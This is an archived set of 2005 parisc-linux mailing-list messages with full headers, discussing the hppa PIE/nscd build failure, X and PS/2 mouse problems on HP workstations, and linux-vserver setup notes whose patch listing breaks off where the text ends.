Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id 654BF781A0;
	Tue, 27 Dec 2005 11:14:43 -0700 (MST)
Original-Received: from winfree.gag.com ([127.0.0.1])
	by localhost (winfree [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00373-10; Tue, 27 Dec 2005 11:14:41 -0700 (MST)
Original-Received: from rover.gag.com (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id AA00078199;
	Tue, 27 Dec 2005 11:14:40 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 49F98A7A65; Mon, 26 Dec 2005 17:42:34 -0700 (MST)
In-Reply-To: <43A89398.9080603@excelcia.org> (Kurt Fitzner's message of "20
	Dec 05 23:28:24 GMT")
User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (gnu/linux)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at gag.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yOHDYxJxeSEkQr6WZHQhaXN1IGRvbwAB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23285

kfitzner@excelcia.org (Kurt Fitzner) writes:

> Does anyone know who the maintainer of the Debian parisc boot CD is?

It's a group effort.  

When the debian-boot team gets annoyed at hppa progress they often poke 
me, and then I prod people to get things done when I don't know how to 
just do them myself quickly.

Why?

Bdale
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nscd: error while loading shared libraries:
Date: Tue, 27 Dec 2005 13:15:01 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200512271815.jBRIF1rH022390@hiauly1.hia.nrc.ca>
References: <200512270014.45080.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623963 17495 80.91.229.3 (22 Nov 2014 02:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 18:15:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 27 Dec 2005 19:15:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F05157D68D;
	Tue, 27 Dec 2005 11:15:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08766-07; Tue, 27 Dec 2005 11:15:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA24E7D68E;
	Tue, 27 Dec 2005 11:15:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDAA77D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:15:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08766-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:15:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 19EA27D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:15:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBRIF1il022391; Tue, 27 Dec 2005 13:15:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBRIF1rH022390;
	Tue, 27 Dec 2005 13:15:01 -0500 (EST)
In-Reply-To: <200512270014.45080.vapier@gentoo.org> from "Mike Frysinger" at
	Dec 27, 2005 00:14:45 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4eHDY2FveSEkVb6WZHQhaXN1IGRvb8AG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23286

> this is because Redhat forces all network daemons to be built at PIEs ... thus 
Sometimes I think Redhat enjoys making life difficult for the systems
they don't support.

> glibc will build nscd as a PIE by default ... and since PIE doesnt work on 
> parisc just yet, you see fun errors like the above
> 
> here's the hack patch i wrote Gentoo/hppa:
> http://viewcvs.gentoo.org/sys-libs/glibc/files/2.3.4/hppa-no-pie.patch

As far as GCC goes on the PA, -fpie should be equivalent to -fpic and
this should be ok for executables.  The main issue is the linker -pie
support, and the corresponding libc and kernel (?) support needed for PIE.

A small patch could be done to disable -fpie on the PA in GCC.  PIE is
definitely not supported under hpux, so this seems like a good idea.  I
could also kill the linker flag.  However, it doesn't look like this
will fix all the nscd/Makefile issues.

> good news though, when i mentioned this before:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026865.html
> people said it's in the works to be fixed :)

It seems this issue has fallen through the cracks.  I know Carlos has
been busy finishing up his thesis.  The relocation problem is a separate
issue from PIE support as it could arise independently.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Tue, 27 Dec 2005 23:38:10 +0100
Lines: 92
Approved: news@gmane.org
Message-ID: <200512272338.10264.deller@gmx.de>
References: <200512271437.jBREbxA8021653@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623964 17499 80.91.229.3 (22 Nov 2014 02:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 22:38:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 27 Dec 2005 23:38:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3682E7D6AB;
	Tue, 27 Dec 2005 15:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10484-05; Tue, 27 Dec 2005 15:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DD2F7D6AD;
	Tue, 27 Dec 2005 15:38:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF0847D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 15:38:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10256-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 15:38:15 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id B43D97D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 15:38:14 -0700 (MST)
Original-Received: (qmail invoked by alias); 27 Dec 2005 22:38:10 -0000
Original-Received: from p54AD0FB2.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.15.178]
	by mail.gmx.net (mp032) with SMTP; 27 Dec 2005 23:38:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200512271437.jBREbxA8021653@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NqfDY4tKeSEkMb6WZHQhaXN1IGRvb4AK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23287

Hi Dave,

On Tuesday 27 December 2005 15:37, John David Anglin wrote:
> > On Monday 26 December 2005 22:34, John David Anglin wrote:
> > > X no longer starts on my c3k using unstable.  The problem seems
> > > to be:
> > > 
> > > (EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument

This message has always been here.

> > > XF86Config-4 hasn't changed for at least a year.  Any ideas?
> > 
> > I assume your screen resolution changed. 
> 
> No.  I've had the following entries in XF86Config-4 since Sep 2003:
> 
> Section "Device"
>         Identifier      "HP Visualize-EG"
> 	Driver          "fbdev"
> 	Option          "UseFBDev"              "true"
> EndSection
> 
> Section "Monitor"
> 	Identifier      "NEC LCD1980SX"
> 	HorizSync       30-107
> 	VertRefresh     50-85
> 	Option          "DPMS"
> EndSection
> 
> Section "Screen"
> 	Identifier      "Default Screen"
> 	Device          "HP Visualize-EG"
> 	Monitor         "NEC LCD1980SX"
> 	DefaultDepth    8
> 	SubSection "Display"
> 		Depth           8
> 		Modes           "1280x1024"
> 	EndSubSection
> EndSection

Ok.

> > Maybe new monitor/setup or different graphic card is detected first ?
> 
> Possibly, the machine has two graphics cards.  However, the presence of
> the A1262A never caused a problem before:
> 
> STI GSC/PCI core graphics driver Version 0.9a
> STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
>     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
>     graphics card name: PCI_GRAFFITIX1280
> STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
>     id 35acda30-9a02587, conforms to spec rev. 8.0d
>     graphics card name: A1262A
> sticon: Initializing STI text console.
> Console: switching to colour STI console 160x64
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf8100000
> stifb: 'A1262A' (id: 0x35acda30) not supported.


yep. neither..


> > Try fbset to get the current screen resolution.
> 
> mode "1280x1024"
>     geometry 1280 1024 1280 1024 8
>     timings 0 0 0 0 0 0 0
>     rgba 8/0,8/0,8/0,0/0
> endmode
> 
> From the above, it looks like the timings aren't beeing set.

They are always 0 for fb-devices.

I tried myself with current kernel.

- 32bit kernel on c3k works for me. Can you try again with current kernel ?

- 64bit kernel on my c3k crashes, but this doesn't seem (with strace) related to stifb. Maybe this is due to some mmap() problems ?

Sorry, no better idea...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure / PS/2 mouse failure
Date: Wed, 28 Dec 2005 02:22:09 +0100 (CET)
Lines: 38
Approved: news@gmane.org
Message-ID: <200512280122.jBS1MB0N015839@stephenson.net.dhis.org>
References: <200512272338.10264.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623964 17504 80.91.229.3 (22 Nov 2014 02:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 01:22:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 28 Dec 2005 02:22:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4D977D6B7;
	Tue, 27 Dec 2005 18:22:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10948-10; Tue, 27 Dec 2005 18:22:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB5CD7D6B3;
	Tue, 27 Dec 2005 18:22:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02DC07D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 18:22:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10948-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 18:22:19 -0700 (MST)
Original-Received: from stephenson.net.dhis.org
	(ALagny-152-1-53-93.w83-112.abo.wanadoo.fr [83.112.4.93])
	by free.linux.hp.com (Postfix) with ESMTP id CFF607D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 18:22:18 -0700 (MST)
Original-Received: from stephenson.net.dhis.org (localhost [IPv6:::1])
	by stephenson.net.dhis.org (8.12.11/8.12.11) with ESMTP id
	jBS1MENg013076 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 02:22:15 +0100 (CET)
Original-Received: (from jph@localhost)
	by stephenson.net.dhis.org (8.12.11/8.12.11) id jBS1MB0N015839
	for parisc-linux@lists.parisc-linux.org;
	Wed, 28 Dec 2005 02:22:13 +0100 (CET)
In-Reply-To: <200512272338.10264.deller@gmx.de>
X-Mailer: ELM [version 2.4ME+ PL93 (25)]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g43DY2o9eSEka76WZHQhaXN1IGRvb8CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23288

> Hi Dave,
> 
> On Tuesday 27 December 2005 15:37, John David Anglin wrote:
> > > On Monday 26 December 2005 22:34, John David Anglin wrote:
> > > > X no longer starts on my c3k using unstable.  The problem seems
> > > > to be:
> > > > 
> > > > (EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
> 
> This message has always been here.

Hello,

I have the same error message on a B180L, although X is starting (gdm).
BUT the 3 buttons PS/2 mouse don't work at all.
I have the following mouse configuration in /etc/X11/XF86Config-4 :

        Section "InputDevice"
		Identifier      "Configured Mouse"
		Driver          "mouse"
		Option          "CorePointer"
		Option          "Device"                "/dev/psaux"
		Option          "Protocol"              "PS/2"
		Option          "Emulate3Buttons"       "false"
	EndSection
										What can be wrong ?
										Is there some other configuration to do for the mouse in any other
config file ?

Thanks in advance for all hints,

Jean-Pierre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re-use of an existing chroot disk to implement some
	vserver ; -)
Date: Wed, 28 Dec 2005 11:43:51 +0000
Lines: 544
Approved: news@gmane.org
Message-ID: <43B27A77.7090800__24516.5392094806$1416623964$gmane$org@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623964 17507 80.91.229.3 (22 Nov 2014 02:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 vserver@list.linux-vserver.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 11:44:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 28 Dec 2005 12:44:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 306C97D6B9;
	Wed, 28 Dec 2005 04:44:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14076-07; Wed, 28 Dec 2005 04:44:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FA057D6BB;
	Wed, 28 Dec 2005 04:44:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 436857D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 04:44:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13954-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 04:44:03 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id BF6177D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 04:44:02 -0700 (MST)
Original-Received: from (ip-62-235-216-196.dial.scarlet.be [62.235.216.196]) 
	by guri.is.scarlet.be  with ESMTP id jBSBhvU04286; 
	Wed, 28 Dec 2005 12:43:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2B/AY0ITeSEkYb6WZHQhaXN1IGRvb0Dq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23289

Hello all,

For those who could have some interest,
here are just some notes I took for remind of an implementation of a linux-vserver on a parisc-linux boxe(s).
(only tested on 32bit up kernel on a c110 and d380 models, though).

This particular execise was to re-use existing chrooted disk(s) already debbootstrap, fully populated and customized (i.e. I didn't
want to loose that job ;-) ).

(take care to use it at your own risks ;-) )

0/ References
0.1/ the reference used are:
<http://linux-vserver.org/Step-By-Step+Guide+2.6>

0.2/ more details learning:
<http://www.morethan.org/step_step.html>

1/ Kernel sources:
1.1/ parisc-linux sources:
<http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.14-pa0.tar.bz2>
(to be sure I also grab some subsequent small patches but not taged before next merge :-( )

1.2/ vanilla patch 2.6.14.4:
<http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.14.4.bz2>

1.3/ developement linux-vserver patches:
as announced <http://archives.linux-vserver.org/200512/0244.html>

<http://www.13thfloor.at/vserver/d_rel26/v2.1.0/patch-2.6.14.4-vs2.1.0.diff>
+ a fix
<http://www.13thfloor.at/~doener/vserver/patches/diff-2.6.14.3-vs2.1.0-rc10-rc10.1.diff>

This would results in 2 rejected hunk:
* this very small ack should fix a rejected one:
(due to the diff between parisc tree and vanilla one)
--- arch/parisc/kernel/syscall_table.S.orig     2005-09-24 10:40:28.000000000 +0200
+++ arch/parisc/kernel/syscall_table.S  2005-12-22 12:26:18.000000000 +0100
@@ -368,7 +368,7 @@
         ENTRY_COMP(mbind)               /* 260 */
         ENTRY_COMP(get_mempolicy)
         ENTRY_COMP(set_mempolicy)
-       ENTRY_SAME(ni_syscall)  /* 263: reserved for vserver */
+       ENTRY_DIFF(vserver)
         ENTRY_SAME(add_key)
         ENTRY_SAME(request_key)         /* 265 */
         ENTRY_SAME(keyctl)
====<>====

* the second should be get rid (already applied in p-l tree ;-) )

1.4/ build and install as usual the kernel and its modules:
# make oldconfig ; make vmlinux ; make modules ; make install

1.5/ install this kernel and reboot the system with this one.

2/ verser tools: utils-verser

2.1/ grab latest src:
<http://www.13thfloor.at/vserver/d_rel26/v2.1.0/util-vserver-0.30.209.tar.bz2>

2.2/ build tools tip:

2.2.a/ as for hppa the vserver syscall nr is 263 (and not the default 273) either use:
CPPFLAGS="-D__NR_vserver=263" set in the environment
(as recommended <http://archives.linux-vserver.org/200512/0094.html> but I didn't test it, sorry)

or apply this small hunk:
diff -NaurX /usr/src/dontdiff util-vserver-0.30.209.Orig/lib/syscall-fallback.h
